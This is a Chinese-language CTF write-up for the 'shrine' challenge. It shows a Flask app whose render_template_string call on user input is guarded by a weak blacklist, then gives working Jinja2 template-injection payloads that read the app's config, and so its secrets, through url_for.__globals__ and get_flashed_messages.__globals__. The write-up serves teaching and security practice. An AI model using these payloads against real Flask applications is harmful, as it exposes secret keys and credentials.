[WesternCTF2018]shrine
直接思路就是 花式读全局变量
一开始就直接给了源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') //environ获取系统中的FLAG参数,写入app.config中
@app.route('/') //访问'/'路径时就显示代码
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') //去掉(和)
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//相当于{% set config=None%}{% set self=None%} + s,先将config和self设为none,达到禁用函数的目的
return flask.render_template_string(safe_jinja(shrine)) //模板渲染的漏洞处
if __name__ == '__main__':
app.run(debug=True)
ps 关于os.environ:
python获得一些有关系统的信息
windows:
os.environ[‘HOMEPATH’]:当前用户主目录。
os.environ[‘TEMP’]:临时目录路径。
os.environ[PATHEXT’]:可执行文件。
os.environ[‘SYSTEMROOT’]:系统主目录。
os.environ[‘LOGONSERVER’]:机器名。
os.environ[‘PROMPT’]:设置提示符。linux:
os.environ[‘USER’]:当前使用用户。
os.environ[‘LC_COLLATE’]:路径扩展的结果排序时的字母顺序。
os.environ[‘SHELL’]:使用shell的类型。
os.environ[‘LAN’]:使用的语言。
os.environ[‘SSH_AUTH_SOCK’]:ssh的执行路径。
本题的思路就是要读取全局变量(我尝试过构造ssti命令执行的payload,但是__subclasses__()
时会报错,失败了
测试一下python的ssti
/shrine/{{8*9}}
因为''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
这段,我们无法直接使用config函数来查看所有app.config内容,得利用python对象之间的引用关系来调用被禁用的函数对象。
current_app的值是当前使用的app,可以通过current_app查看当前app的config
有两个flask内置函数,可以配合globals()函数得到全局变量current_app(url_for和get_flashed_messages)
flask框架中特有的函数:link
url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接:
{{url_for('home')}} /
如果我们定义的路由URL是带有参数的,则可以把它们作为关键字参数传入url_for(),Flask会把他们填充进最终生成的URL中:
{{ url_for('post', post_id=1)}} /post/1
get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉:
{%for message in get_flashed_messages()%} {{message}} {%endfor%}
payload:
/shrine/{{url_for.__globals__}}
#current_app': <Flask 'app'>
/shrine/{{url_for.__globals__['current_app'].config}}
或者
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}